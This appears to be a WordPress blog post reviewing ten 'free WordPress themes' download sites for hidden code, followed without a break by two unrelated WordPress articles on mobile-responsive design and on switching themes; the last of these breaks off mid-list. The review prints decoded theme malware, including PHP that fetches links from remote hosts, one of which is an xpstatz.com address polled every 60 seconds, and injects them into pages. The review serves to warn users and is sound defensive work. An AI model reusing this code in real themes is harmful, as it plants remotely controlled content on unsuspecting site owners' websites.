Why You Should Never Search For Free WordPress Themes

Now, armed only with the words “free WordPress themes,” builtBackwards’ Theme Authenticity Checker Plugin and Donncha O Caoimh’s Exploit Scanner, I’m going to take a look through the first page of Google to see just how safe pages ranking for “Free WordPress Themes” are.

Note: I am not uploading any of these themes onto my server. Instead I have installed xampp and am running WordPress locally on my computer. I don’t advise uploading themes from random websites directly onto your server – you never know what you could catch! There are some nasty diseases out there…..

1. WordPressThemesBase

WordPress Themes Base is in the lucky position of being the top ranking site for “Free WordPress Themes.” Someone’s been working hard on their SEO! The blurb at the bottom tells the visitor that unlike other sites offering free WordPress themes, the themes at WordPress Themes Base are fresh. Great, there’s nothing better than a fresh theme.
I downloaded Prinz Branford Magazine. Already things are looking problematic. Branford Magazine is a theme released by der Prinz. There is a very old version of the theme which (as far as I can tell) isn’t up-to-date with WordPress 3.0 and a Pro was released earlier this year. That means we’re looking at either a theme that doesn’t work properly with WP 3.0 or a theme that is a knock-off of a pro.
First thing’s first – install the theme and run it through TAC.

Encrypted code found! First site on Google and we’ve already come across Base64 :( Poor me….. Base64 is often used to hide malicious code. I can see that the code is in the footer. Let’s take a look at that:


Yeah, copyright me, damned right! But what is that Base64 hiding. Here it is in the footer code:
Lots of blah.
You can decode this base64 code in two ways :

1. You can try Otto’s decoder – handy!
2. You can also do it manually – this involves changing the eval() to an echo() to force whatever’s been hidden out of hiding. This post will walk you through the process.

I’ve gone for option 2. Turning my eval() into an echo() produced this result in my footer:

Eh? A minute ago it said copyright me!!! Bah! Now there’s something about Free Anti-Virus Downloads. Where did that come from? Hidden by the base64 methinks.

The Verdict:

I downloaded another 2 themes from this site and they all contained base64 code. Base 64 does not necessarily just hide links. It can also hide malicious code which can run amok on your site. Not only that but the site, while maintaining that its themes are fresh, is pushing themes built by other designers that the site owner has put base64 code into. I contacted Michael Oeser at der Prinz, who told me that he’s been trying to get in touch with the site about removing the theme but is having no luck. He’s posted a warning on his own blog about the dangers of downloading pirate themes. He’s the designer of Branford Magazine and his advice is to stay well away from sites like this – good advice!

My suggestion:

Avoid!

2. Free WordPress Themes

Another site with free WordPress themes. Great! Just what I need. I’m always after a good freebie. The first theme on the site is called BeautyStore. I like beauty stores so I’ll download that. Get it installed and run it through TAC.

More encrypted code!!!
Here it is in the footer:

For a beauty store it’s not all that beautiful. There are all sorts of encoded functions right in the footer. This time when I turned my eval()s into echo()s I couldn’t get anything to appear. I ran it through a few decoders and it’s far too jumbled up for me :(
Exploit scanner dislikes it as much as I do:


All of these came up as severe warnings.

The Verdict

2nd site on Google and we’re getting more base64. I downloaded a few other themes which contained static links and no base64. I guess that this site is a bit hit and miss. However, with the previous site I could get it decoded and this, no go. A search on some forums for the pieces of code in the footer indicate that it may be encrypted code used for hacking :( I ain’t techie enough to know and I suspect that most WordPress users aren’t either. In that case….

My Suggestion

Avoid!

3. Themes2WP

Scanning through the themes on Themes2WP they’ve certainly got some tempting ones on there. Let’s take a look at Gameliso which looks like a nicely designed magazine theme.
Theme Authenticity Checker says that it has found 5 static links. Static links are okay, right? A developer’s got to link back to their site. Here are the links:

Hmmmmm… I don’t know about you, but I don’t know if singles sites and animal care sites have much to do with theme development. Let’s take a closer look at the code in footer.php:

There are the links, with the helpful message: “Please do not edit following code, it may cause your site to stop working.” What useful information!!!! I would’ve gone and removed the links and broken the whole thing. Phew.
Oh wait… I did remove them and the site still seems to be working.
There’s another link in sidebar.php. Here it is:
Now to check out the styles for ad_lnk:

Wow! That’s a link that’s way out in the middle of nowhere. Can’t be for much except back-linking programmes.
So we’ve checked out the links – let’s run exploit scanner.

Gameliso is picked up as containing an eval () which could be used to execute malicious code. It’s not the type of thing that you want to have showing up in your theme.

The Verdict

Nice themes but contain 5 backlinks to random people who you probably aren’t interested in linking to. It goes so far as to tell you that if you remove the links your theme won’t work. Of course, we know that this isn’t true – but a beginner WordPress user might think twice about removing them. As for the eval function, well it could be harmless but I don’t know enough about javascript (probably like many average WordPress users) to tell you if in this case it is or it isn’t.

My suggestion

Avoid!

4. FreeWPThemes

After assuming that all sites that aren’t WordPress.org are bad, I was surprised to find no odd embedded links in any of the themes that I downloaded from FreeWPThemes. I downloaded 5 themes, from across the site. And they all had the same links:
None of these appear at all out of place. So, I felt a bit bad about my assumptions.
However, I did run the themes against the Theme Check Plugin. The plugin tests your theme to make sure it’s up to the latest theme review standards. Here’s how the Programme theme did:

Lots of errors! There’s even more than that but I couldn’t fit them all into the screenshot.

The Verdict

While the themes from FreeWPThemes might not live up to the exacting standards of the WordPress theme directory, there is nothing malicious about them, nor is there any backlinks. It may be that you come across things that aren’t working in quite the way that you want them to but there’s nothing hidden or evil about them!

My suggestion

Okay to use but check to make sure all of the functionality that you need is working.

5. WordPress.org

Finally! WordPress.org! We all know and love WordPress.org. It is the safest place to go to get your themes. I guess the problem that we all have with the theme repository is that many of the themes look like they were made back in the 1600s (or near enough). This can be frustrating, especially when many of them don’t work too well with WordPress 3.0. At the bottom of this post I’ll list some other safe places that are great for themes.

The Verdict

A totally trusted and safe place to get your free WordPress themes from.

My suggestion

<3

6. Themes.Rock Kitty

This site has a picture of a cat playing a guitar. I am easily pleased by things with cats on them. The first theme that I downloaded had no advertising links or hidden code in it, nor did the second. But the third came up with this:

More Base64!
This time changing my eval()s to echo()s produced this message:
The links at the bottom of the theme appear like this:

Exploit scanner came up with 17 severe warnings for this theme. Since there are only 4 links showing at the bottom I think we can assume that this theme is either packed full of hidden backlinks or there is something else going on.

The Verdict

Use this site very carefully. If you are going to download themes from them install the themes on your local machine and check them out first. This is another site where you could end up downloading a theme that hijacks your site. Be careful!

My suggestion

Avoid!

7. WP Themes Depot

Another website offering the most up-to-date, fresh, beautiful, free WordPress themes. This time I downloaded the most popular theme on the site, Niferiti, downloaded 980 times. Once again I ran it through TAC and came up with encrypted code:

After changing the eval() to an echo() I got this message (again):
Someone obviously doesn’t want me to get rid of the code. The links appear in the footer like so:

It feels a bit disingenuous to me to say that these are links from family and friends. Especially since we’ve seen that message before with different links. But I guess it’s possible that all spammy links come from the same family…… just maybe….. right?
Update: Okay, so I mustn’t have been paying attention to that message. I = doofus! Once again a lesson in reading things properly. In any case, links, whether family friendly or not, should not be hidden using encrypted code that is often used to mask other activity.

The Verdict

Another site with Base64 in the code. I guess I don’t have to repeat how untrustworthy code like this is. While it’s one thing for a developer to include banklinks it’s another when they use base64 to encode the links. Especially when it’s well known that the code is used to hide malware.

My suggestion

Avoid!

8. WPRex

I downloaded 5 themes from WPRex, the first two contained static spammy links and three others contained (surprise surprise) base64.

That’s Pink Desire. This time to decode it I used this decoder.
Here’s what it spat out:
More encrypted links. People do go to quite some lengths to hide their links!

The Verdict

Another site that is a bit hit and miss. If you must download themes from a place like this make sure you check out what it is you have by using something like TAC. You can also use some of the decoder tools I’ll list at the bottom to check out what any base64 is hiding.

My suggestion

Avoid!

9. No Limits Web Design

While this website has a slightly different name to all of the rest making me hope for something different, upon landing it has the similar announcement about all its great free WordPress themes. I downloaded one of the featured themes – Dark Night – and yet again found more base64 in the theme.

As well as the base64 I found a piece of code starting eval(str_rot13(. You can decode that here.
I got these results:
That’s basically the license. However, when I turned the eval to an echo this code appeared at the top of the page:

function wp_code() { $default_link_text = "Default"; $link_host[] = "http://www.webspacehosting.com/wp_links/wp_links.php"; $link_host[] = "http://nolimitswebdesign.com/wp_links/wp_links.php"; $l = ""; foreach($link_host as $value) { if($file = @fopen($value."?url=".get_bloginfo('url'), "r")) { while (!feof ($file)) { $line = fgets ($file); $l .= $line; } fclose($file); break; } else { if ($value == end($link_host)) { $l=$default_link_text; } } } return $l; } function check_wp_code_sidebar() { $uri = strtolower($_SERVER["REQUEST_URI"]); if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) { } else { $l=""; $f = dirname(__file__) . "/sidebar.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); fclose($fd); if (strpos($c, $l) == 0) { die; } } } check_wp_code_sidebar();

I got one of our lovely Incsubbers to take a look at it and he translated it as:

function wp_code() {
  $default_link_text = "Default";
  $link_host[] = "http://www.webspacehosting.com/wp_links/wp_links.php";
  $link_host[] = "http://nolimitswebdesign.com/wp_links/wp_links.php";
  $l = "";
  foreach($link_host as $value) {
   if($file = @fopen($value."?url=".get_bloginfo('url'), "r")) {
    while (!feof ($file)) {
     $line = fgets ($file);
     $l .= $line;
    }
    fclose($file);
    break;
   } else {
    if ($value == end($link_host)) {
     $l=$default_link_text;
    }
   }
  }
  return $l;
 } 
 function check_wp_code_sidebar() {
  $uri = strtolower($_SERVER["REQUEST_URI"]);
  if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) {
  } else {
   $l="";
   $f = dirname(__file__) . "/sidebar.php";
   $fd = fopen($f, "r");
   $c = fread($fd, filesize($f));
   fclose($fd);
   if (strpos($c, $l) == 0) { die; }
  }
 } 
 check_wp_code_sidebar();

The theme is pulling urls into the sidebar, if they don’t appear then die. Poor site :(

Here’s what exploit scanner has to say:

The Verdict

Another site using base64, another one to stay out of the way of. This one is even more encrypted than the others, which ended up showing much more quickly what they are up to.

My suggestion

Avoid!
Phew… getting to the end now… this is exhausting!

10. Templates Browser

Nearly at the end! Actually I did a little search about Templates Browser and found this post. So we can already guess what’s going to happen here. I downloaded the Dropshadow theme, which is actually by Brian Gardner but which you can no longer get from his site (probably because it’s pretty old and not WP 3.0 compatible). Although the TAC only found static links like so:

The static link in the footer is a huge piece of PHP. The source code of the site reveals that it is calling a link to a casino site. However, it has some write elements which make me more suspicious. I got my friendly Incsubber to partially decode it:

1. get_col("SELECT option_value FROM $wpdb->options WHERE option_name='l_time_code'");
3. $l_code = $wpdb->get_col("SELECT option_value FROM $wpdb->options WHERE option_name='l_code'");
4.
5. if (empty($l_time_code)) {
6.         $wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('l_time_code', '0', 'no')");
7.         $new_time_code = 0;
8. } else
9.         $new_time_code = intval($l_time_code[0]);
10.
11. if (empty($l_code)) {
12.         $wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('l_code', '
', 'no')");
13.         $new_l_code = '
';
14. } else $new_l_code = $l_code[0];
15.
16. if ( ( time() - $new_time_code ) >= 60 ) {
17.         $R39C188653EA53DBD6E3F1D3915EDAC0C = "com";
18.         $R8088818E3E46A17C12F2EE42EB12D7AC = "1.";
19.         $R7B934F06258B8BA3608E30CDE9EA1035 = "xpstatz";
20.         $xps = "xps.";
21.         $url = "$R8088818E3E46A17C12F2EE42EB12D7AC$R7B934F06258B8BA3608E30CDE9EA1035.$R39C188653EA53DBD6E3F1D3915EDAC0C";
22.         $page = "/".$xps."php?h=" . urlencode($_SERVER['HTTP_HOST']) . "&u=" . urlencode($_SERVER['REQUEST_URI']);
23.
24.         //1.xpstatz.com/xps.php?h=host&u=uri
25.
26.         if (ini_get('allow_url_fopen')) {
27.                 $new_l_code = @file_get_contents("http://" . $url . $page);
28.         }
29.         else {
30.                 $RF500F4A848E2EB2F8AAC3A6734D7EC38 = @fsockopen($url, '80', $R87844B1C6FC922407E6020B6B224950F, $R1966719AEC0096F98BA934D649A6E28D, 30);
31.
32.                 if ($RF500F4A848E2EB2F8AAC3A6734D7EC38) {
33.                         @stream_set_timeout($RF500F4A848E2EB2F8AAC3A6734D7EC38, 60);
34.                         @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, "GET $page HTTP/1.1\r\n");
35.                         @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, "Host: $url\r\n");
36.                         @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, "Connection: Close\r\n\r\n");
37.                         $new_l_code = "";
38.                         while(!feof($RF500F4A848E2EB2F8AAC3A6734D7EC38)) {
39.                                 $new_l_code .= @fgets($RF500F4A848E2EB2F8AAC3A6734D7EC38, 1024);
40.                         }
41.                         $new_l_code = trim(strstr($new_l_code, "\r\n\r\n"));
42.                 }
43.                 @fclose($RF500F4A848E2EB2F8AAC3A6734D7EC38);
44.         }
45.         if ( strpos($new_l_code, '[/]') ) {
46.                 $new_time_code = time();
47.                 $R54997E66281827CBC285597040554FCC = mysql_escape_string($new_l_code);
48.                 $wpdb->query("UPDATE $wpdb->options SET option_value=$new_time_code WHERE option_name='l_time_code'");     $wpdb->query("UPDATE $wpdb->options SET option_value='$R54997E66281827CBC285597040554FCC' WHERE option_name='l_code'");
49. }
50.
51. }
52. if ( strpos($new_l_code, '[/]') ) {
53.         $R3CB9CDAED257453CFA56B9EF81B44C57 = strpos($new_l_code, '[]') + 2;
54.         $R24D59CD0B76A27B85F35D40A3CF6EC37 = strrpos($new_l_code, '[/]');
55.         echo substr($new_l_code, $R3CB9CDAED257453CFA56B9EF81B44C57, $R24D59CD0B76A27B85F35D40A3CF6EC37-$R3CB9CDAED257453CFA56B9EF81B44C57);
56.         $RE762F29BDD39FF0A2ADF9AF4E6885799 = 1;
57. }
58. ?>

Doesn’t mean a whole lot to me either….
But it stores the links in wp_options and checks every 60 seconds to grab the code from an external site. Then it updates the timecodes and links in the options table before outputting them in the footer.
Basically a much more complex method of doing everything that we’ve seen already.

The Verdict

Things are already looking suspicious when another site is claiming that Templates Browser contains malware. And even more suspicious when they’re hawking an old theme which has been designed by an established WordPress designer. All of that code in the footer is not good, and is another way of taking control of your site.

My suggestion

Avoid!
Here’s a video from ThemeLab which does what I did, but quicker!

Conclusion

Out of the ten sites on the first page of Google, here are the stats:

• Safe: 1
• Iffy: 1
• Avoid: 8

8 out of 10 sites included base64 encoding in their themes. The average WordPress user no doubt knows that Google isn’t the best place to find themes but the stats on these sites show that there are thousands of people downloading them and using them on their websites. Someone who has come to WordPress on the first time is more than likely to type “free WordPress themes” into Google to find a site that gives them what they want. Unfortunately they’re more than likely to end up with spammy links, at best, on their site.

Of course, the WordPress Theme Directory can be frustrating in its lack of themes that work with WordPress 3.0. Many of the themes look a little out of date and lots look very bloggy. Here are some trusted sites where you can find free WordPress themes.

Free Themes

• Theme Shaper
• Theme Hybrid
• Arras Theme
• Smashing Magazine

Premium Sites with some Free WordPress Themes

• Graph Paper Press
• Woo Themes

There are plenty more so look around! Don’t type free WordPress themes into Google though!

Tip: A legitimate site offering free WordPress themes will not have the word “WordPress” in its url. WordPress is trademarked and if a site is going to violate trademarks it’s likely to be unscrupulous about inserting spam and other code into themes. Here’s what WordPress have to say about it. (thanks to Jim - see comments below – for correcting me on that!!!!)

Decoders

If you are investigating a theme that you think is suspicious you might find the following decoding tools helpful (source):

• $o= Otto’s decoder
• $_F=__FILE__:
• eval(gzinflate(base64_decode('...')));:
• eval(str_rot13(' ... '));
• Other codes
• Manual base64 decode

Useful Plugins

• Theme Authenticity Checker
• Exploit Scanner
• Theme Check

Further Reading

• Chip Bennett analyses the top 30 sites  ranking for WordPress Themes on Google
• Otto on the Anatomy of a Theme Malware
• ThemeLab on why you should stop downloading WordPress Themes from shady sites

Creating Mobile-Optimized Websites Using WordPress

“Mobile Web design.” Unless you’ve been hiding under a bush for the last 18 months, you’ll know that it’s one of the hottest topics in the industry at the moment. Barely a week goes by without new tips being unveiled to help us hone our skills in making websites work as well — and as fast — as possible on mobile devices.
If you own or have designed a WordPress website for the desktop and are considering going mobile, the process can be fairly daunting. You probably know of responsive design and might have heard of the mobile-first approach developed by Luke Wroblewski, which entails planning the content and design for mobile devices first and then desktops second, rather than the other way round.
But if your WordPress website has a desktop theme in which everything is set in pixels, then the thought of adopting a responsive design might have you running for the hills.
It doesn’t have to be that way.
Here are four ways to make your WordPress blog or website mobile-friendly, ranging from the quick and dirty to the complex but potentially very beautiful. As well as outlining the pros and cons of these methods, we’ll include information on plugins that will help without actually doing all the work for you, and we’ll provide some code that you can use for a responsive design.

Plugins: The Quick Way To Make Your Content Mobile-Friendly

Designing for content is increasingly becoming more common than squeezing content into a pixel-perfect design.
If your website is more about content than design (say you run a blog that is content-heavy and designed for reading), then you won’t be too fussed about what your website looks like on mobile devices. You just want people to be able to read it without having to zoom in, move the viewport around or generally tie themselves up in knots until they decide to leave.
If this is the case, then a simple plugin might do the trick. Below are some plugins to consider.

WPtouch

WPtouch, which comes in free and premium versions, strips out your existing theme and displays your content and not much else, but the result is user-friendly, robust and easy to read.
WPtouch is widely used on websites, including Stephen Fry’s blog and Social Media Examiner. You can see below how the plugin renders those two websites. The premium version has options to modify the colors and some styles, including a bespoke menu at the bottom of the screen, as seen on Social Media Examiner.

Social Media Examiner desktop design

Social Media Examiner mobile design, using WPtouch

WordPress Mobile Pack

The WordPress Mobile Pack has some color options and can be used as a mobile switcher if you want a completely different theme for mobile devices. It also has a mobile interface for editing posts, although this has been superseded to some extent by the WordPress apps for iOS and Android.

WordPress Mobile Pack screenshots

BuddyPress Mobile

If your website runs BuddyPress, then you’ll need a plugin to ensure that none of its functionality is lost on mobile devices. BuddyPress Mobile has theming options, and you can edit the style sheet to make the mobile design your own.

BuddyPress Mobile

Mobile Themes: The Next Level Up

If you want a consistent design across desktop and mobile, but you don’t yet have a theme or you want to develop one, then a mobile theme might be the answer.
More and more mobile themes have sprung up over the last year. In particular, Twenty Eleven, WordPress’ default theme since version 3.0, is responsive enough for many websites.

Twenty Eleven on the desktop

Twenty Eleven on mobile
Below are some other themes that include a mobile or responsive style sheet.

Carrington

The Carrington family of themes can be used as parent themes. You can edit the CSS and functions to suit your needs, and it has a mobile version.

Carrington on desktop

Carrington on mobile

Scherzo

Scherzo is clean and minimalist and would be great to use as a parent theme. It uses a mobile-first responsive design.

Scherzo on desktop

Scherzo on mobile

Jigoshop

E-commerce websites are trickier to make mobile-friendly, but Jigoshop can help. It’s a full e-commerce plugin and theme, with a responsive layout that can be tweaked to suit your design.

Jigoshop on desktop

Jigoshop on mobile

A Different Theme For Mobile Devices

In the days before responsive design gained traction, websites commonly had two versions: desktop and mobile. The mobile version might have been on an m. subdomain or have a .mobi extension. Some websites out there still do this, mainly huge news websites that serve different content depending on the device.
Fewer WordPress administrators are choosing to do this now, but if you do want to go down this route, then serving two versions of your website from the same database is possible, by using a mobile switcher.
Here are two plugins that make this possible:

• WordPress Mobile Pack
  This tool, already mentioned above as a theme that makes your website mobile-friendly, can also be used as a mobile switcher, detecting mobile devices and using a separate theme of your choice.
• WPtap Mobile Detector
  This targets mobile devices and enables the theme of your choice.

Using one of these plugins enables you to develop a completely separate theme for mobile devices, with its own layout, navigation and content structure.

Or, Finally, Make Your Current Theme Responsive

If you don’t want to throw out your existing theme, then the best way to give mobile users an experience that is at least visually similar to the desktop version is to build responsiveness into your theme.
A responsive theme contains media queries in the theme’s style sheet to define CSS that applies only to devices of a specified maximum or minimum width. A truly responsive theme has a fluid layout that adapts to mobile devices and larger screens to some extent already, but with some extra styling to make the layout optimal for mobile devices.

1. Defining the Media Queries

To get started, you will need to define media queries in the style sheet. Most of the styles already in your style sheet apply to desktop and mobile, so you only need to add CSS that is different for mobile devices. This will go at the end of your theme’s style sheet.
Start by defining the screen width you are developing for. There are two main approaches to this:

1. Start with the narrowest screen width you are targeting (which will usually be mobile phones in portrait orientation); add all of the CSS needed for this screen width; and then add successive media queries for wider screens. This is known as the mobile-first approach, and it has the benefit of making websites faster on mobile devices because only the CSS needed for those devices is loaded.
2. Start with the widest screen width (usually desktop monitors) and work down, adding CSS that applies to each screen width in turn. While this might slow down loading on mobile devices, it has the advantage of working in IE 8 and below, which doesn’t understand media queries. At the moment, most websites are developed this way because they involve making an existing desktop design responsive, so this is the approach we’ll cover here.

A media query consists of three main parts:

1. The @media rule;
2. The media type (the most common being print and screen — we’ll use screen);
3. The maximum width of the screen you are targeting.

You could have a media query to target mobile phones (and other small devices such as the iPod Touch) in portrait orientation that have a width of 320 pixels:

1	@media screen and (max-width: 320px) {

2

3

}

The CSS to be applied to that screen width and any screen narrower than it would be written between the braces.
An alternative to the @media rule would be to create a linked style sheet with the CSS for each screen width. But I don’t do that because it adds another server request with the potential to slow the website down; and managing all of the styles becomes harder if they’re in more than one place.
Here are other media queries for commonly targeted screen sizes:

• (max-width: 480px)
  Works for mobile devices in either portrait or landscape mode, because they are 480 pixels wide in landscape orientation but are still narrower than this maximum width in portrait.
• (max-width: 780px)
  Works for iPads and other large tablets in portrait mode and any screens narrower than them.
• (max-width: 1024px)
  Works for iPads in both orientations, as well as for small desktop browsers.

You can run one media query after another so that each change you make applies to the screen size you’re querying, plus any widths queried further down in the style sheet. In this case, you would work with wider screens first. For example:

1	@media screen and (max-width: 480px) {

2

3

}

If you are ignoring tablets, you would include this media query first and add any CSS for mobile phones in both portrait and landscape modes (for example, any changes to graphics or text size). You would then follow it with this:

1	@media screen and (max-width: 320px) {

2

3

}

Here, we’re adding any styles that apply only to phones in portrait mode (such as layout changes). You don’t need to repeat the CSS that applies to both landscape and portrait modes because this will still apply. In the same way, you don’t need to repeat any styles that will stay the same for desktop views because they will cascade down from the earlier parts of the style sheet.

2. Making the Layout Responsive

Phew! So, now we’ve defined media queries, and we’re ready to roll with some mobile-friendly CSS. Below are the main things you will need to work on for a standard WordPress website. Let’s assume your website’s markup is similar to that of the Twenty Eleven theme (i.e. html → body → header (or div #header) → #main → #content → #primary → #secondary → footer (or div #footer). You might need to substitute your own elements and IDs for the ones in the examples below.
Overall width of website
You’ll need to change this so that it displays correctly. Add the following code between the braces of your first media query:

1

body {

2	width: 100%;

3	float: none;

4

}

This ensures that the website’s body fills the width of the device and removes any floats. At this point, you might also want to change the background image if there is one (more on that shortly).
You will now have the following code at the bottom of your style sheet:

1	@media screen and (max-width: 480px) {

2

body {

3	width: 100%;

4	float: none;

5

}

6

}

Width of content and sidebar
In portrait mode in particular, there isn’t room for a sidebar to the right of the main content. Add the following code to the media query relating to devices with a maximum width of 320 pixels:

1	#content, #primary, #secondary {

2	width: 100%;

3	float: none;

4	margin: 10px 0;

5

}

Footer content, especially widgets
If your footer has widget areas or other elements with floats applied, you will need to override them for mobile devices in portrait mode.
If you want the footer widgets to be full width in both landscape and portrait modes, then simply add footer.widget-area to the CSS for the sidebars and content.
However, you might want the widget areas to be laid out side by side in landscape mode, depending on how many you have. In that case, you’ll need to do the following:

1. Work out the percentages for the widths, padding and margins (some box-model maths for you!);
2. Add the relevant code to your media query for devices with a maximum width of 480 pixels;
3. Add a separate query for devices with a maximum width of 320 pixels after the one you’re working on, with the following code:

1	footer .widget-area {

2	width: 100%;

3	float: none;

4	margin: 10px 0;

5

}

You might also need to adjust the text alignment and borders and padding, depending on your existing theme. Margins should be set to 0 on the left and right; suit them to your theme at the top and bottom, but generally they should be smaller than in the desktop version.
Image sizes
The images in your design might still break the layout or break out of their containing elements, making your website shrink when viewed on a mobile device. There is an easy fix for this:

1	body img {

2	max-width: 100%;

3

}

This will ensure that images are never wider than their containing element. You might need to tweak the CSS if images sized further up in the style sheet have greater specificity.
However, this solution isn’t ideal. The images might look smaller, but mobile devices will still have to download their full sizes, which will slow down response times and possibly lose visitors, as well as annoy users on expensive data plans (more of them are out there than you might think).
You may recall the mobile-first approach mentioned earlier; one benefit of this approach is that it serves different-sized image files to devices based on screen width.
Text size
So, our layout is working, and everything displays nicely. But now that the website is narrower, the text might appear huge. We’ll need to adjust the text’s size with the following code:

1

body {

2	font-size: 60%;

3	line-height: 1.4em;

4

}

This sets the font size as a percentage of the size set for it further up in the style sheet.

4. Changing the Navigation Menus and Creating an App-Like Interface

Sometimes mobile users will want to access specific content; for example, visitors to a store’s website will want to find the store’s location easily, and visitors to an e-commerce website will want to shop with a minimum of clicks (or taps). Sometimes you might want to adjust the navigation to make the website look more like an app.
Here are some methods you can follow to do this:

• Use CSS to turn menu items that are visible on the desktop into drop-down menus, using code similar to what you would use to create a second-level drop-down menu on a desktop website.
• Use conditional PHP or a plugin such as Mobble to display a different menu depending on the device, as seen on the website that I developed for Centenary Lounge:
  
  Centenary Lounge desktop website
  
  Centenary Lounge mobile website
• Use CSS to display menu items as a vertical list of buttons to give the website an app-like look, such as on Cafe Blend:
  
  Cafe Blend desktop website
  
  Cafe Blend mobile website
• Use a plugin such as Dropdown Menus to display menu items as a drop-down walker, freeing up screen real estate.
• Use background images combined with media queries and floats, to create a grid of visual buttons for your navigation, giving the home page an app-like feel.
• Use fixed positioning to fix the navigation to the bottom of the screen, minimizing the need for scrolling, as seen earlier on Social Media Examiner.

The possibilities are limited only by your imagination and creativity!

5. A Problem!

You’ve added the media queries above, but your smartphone still displays the desktop version. Don’t worry! This is because many smartphones use a virtual viewport that is equal to the width of a small desktop, which prevents desktop-designed websites from breaking when rendered in the browser. This can be easily fixed by placing the following code in the head of each page. Because yours is a WordPress website, you need to add it only once, to the header.php theme file:

1	<meta name="viewport" content="width=device-width">

What this does is tell the phone to treat the size of the screen as its actual size, not the virtual size… if that makes sense.

Summary

Here’s what we’ve looked at in this article:

• Four different ways to make a WordPress website mobile-friendly: with a plugin, with a prebuilt responsive theme, with a separate mobile theme, and by making the existing theme responsive;
• Media queries for responsive design and how they target different device widths;
• Some common styles to make a WordPress website responsive in its layout, images and text.

As you can see, no one option is necessarily the best; it will depend on the website, on the budget and on the time and capability of those involved. Over time, most mobile-friendly WordPress websites will have responsiveness built into them, instead of using a separate theme, mobile website or plugin.
Hopefully this article has given you a starting point to make your WordPress website mobile-friendly. This is just the beginning of the possibilities. To further develop your mobile website, you might want to consider a mobile content strategy; a mobile-first design; APIs and native device functionality to create an even more app-like experience; and more.

Checklist: Things You MUST DO Before Changing WordPress Themes

If you have used WordPress, then you have probably switched themes at least once in your life. If you haven’t, and this is your first time, then it is even better. The beauty of WordPress is that it makes it very easy for users to change themes. It is literally few clicks away. But changing themes is much more than simply clicking activate. In this article, we will provide you with a checklist of things that you MUST do before changing WordPress themes. These steps are critical to make sure the process goes smoothly otherwise you can end up losing elements that you did not mean to lose.

1. Take Notes on Your Current Theme

Many WordPress users surf the web to find solutions to their problems. Often they find those solutions in form of snippets that they add manually in their theme such as the functions.php or another file. Because these changes were made once, people have a tendency of not remembering them. Go through your theme files and note down all additional code that you added. You also want to check your current theme’s load time because this way you can compare the two. Go to a site like Pingdom Tools or use YSlow to test out different pages (Yes different pages, not just the homepage).

2. Be cautious of the Sidebars

You must make sure that your new theme is widget-ready. Sidebar widgets are really easy to use therefore a lot of users use it to customize it. We notice that sidebars are probably the most user-customized area of WordPress sites. People make tons of changes such as adding custom texts, images, links, advertisement, and other widgets. If you are using a widget-enabled theme, and you switch to a theme that is not widget-ready, then you will lose all of that. If you are using a widget-enabled WordPress theme, then this is not an issue.
Also anything that you modify in sidebar.php file of your old theme, will be overwritten. So make sure that you add those codes in the new theme sidebar.

3. Don’t lose tracking

Most bloggers use some sort of analytics whether it be Google Analytics, or one of the other services. A lot of us don’t use plugins to add the tracking codes. Some of us open the footer.php file and modify the codes. Some of our themes have a spot to place the adsense code. Whichever one is your case, you want to make sure that you copy and paste your tracking code to your new theme. This is one of the things that is very commonly overlooked by users. Because it is so simple, most of us forget about it.

4. The Good ‘ol RSS are you working?

A lot of us use FeedBurner for our WordPress RSS Feeds. One of the parts of integrating FeedBurner into WordPress is pointing your default feeds to FeedBurner this way you can have analytics on your feed subscribers. A lot of themes like Genesis, Headway Theme, Standard Theme, and others allow you to integrate FeedBurner from their settings panel. You need to make sure that you keep the feed directed to FeedBurner otherwise there will be two RSS feeds for your blog. The main WordPress one, and the FeedBurner one which is taking the info from your WordPress RSS Feed. Except, you will lose count of a lot of the subscriber that you had because they were subscribed using the /feed/ url which no longer points to FeedBurner. Again, this does not mean you lose them, it just means that you can’t see them in the FeedBurner count.

5. Backup!!

You never have anything to lose by creating a backup. As a precautionary measure, you should backup all of your theme files, plugins, and the database. Although nothing should happen, but you can never be to safe. You can use BackupBuddy to create a full-site Backup for you.

6. Maintenance Mode

You probably don’t want your users to see while you are making the switch because they will end up seeing a broken site or such. It is best to turn on Maintenance mode for 15 – 20 minutes that it may take you to make sure that everything is working properly. Once you have setup Maintenance mode, you are good to go ahead and activate the new theme.

7. Testing all functionality and plugins

Once you have the new theme activated, you need to make sure that you retain all the functionality and plugins still work. Remember that good ol’ notes list that you created in step 1. This is the time where that can come handy. Go back and add any and all functionality that you want to bring from the old theme into the new theme if you haven’t done so already. Try out all the features including but not limited to the commenting process, single post pages, search, 404 page, archive page, contact page etc. Make sure all of your widgets are still there and are working.
On the plugin front, you just want to make sure that the formatting is still the same. A lot of plugins utilize your existing styles to display their output. So you probably want to make sure that they still look good with the new theme.

8. Cross Browser Compatibility

Test your site in all browsers you have access to. Browsers have a tendency of rendering things differently. Specially Internet Explorer. You want to make sure that your design looks good in major browsers. Some pretty looking themes have a tendency of breaking in various browsers. So if a lot of your audience is using Internet Explorer, then you want to make sure that it is still accessible to them.

9. Make those Third Party Items look pretty

If you are using Google Adsense or another ad company that allows you to format them, then your best bet is to customize them. For example, you previous site was orange, so you had orange links for Google Adsense. Now if it is blue, then you probably want to take that into account.
Same goes for twitter widget, facebook like buttons etc. Adjust those with your new color scheme. If you are going from a light to a dark design, or vice-versa, then you need to make those changes.

10. Let your Users Know

Turn off maintenance mode, and write a quick blog post to let the users know. Notice, you only spent like 15 – 20 minutes on checking things. There is no way that you could’ve catch all the bugs. By letting your users know, you can expect to get bug reports.  Ask your audience via twitter, facebook etc to see if the site looks good in their browser. If they say YES, then its good news. If they say NO, then ask them to please take a screenshot of the issue. You can take a look at the issue and try to fix it. If you can’t fix it, then kindly ask the developer of the theme to fix it. Notice: unless you paid for the theme, these developers are NOT required to fix those issues for FREE.
People have all sort of browsers, screen resolutions, etc, so getting their opinion is important. Don’t forget to remind your RSS readers to visit the site as well, so they can see the goodies.

11. Pruning plugins

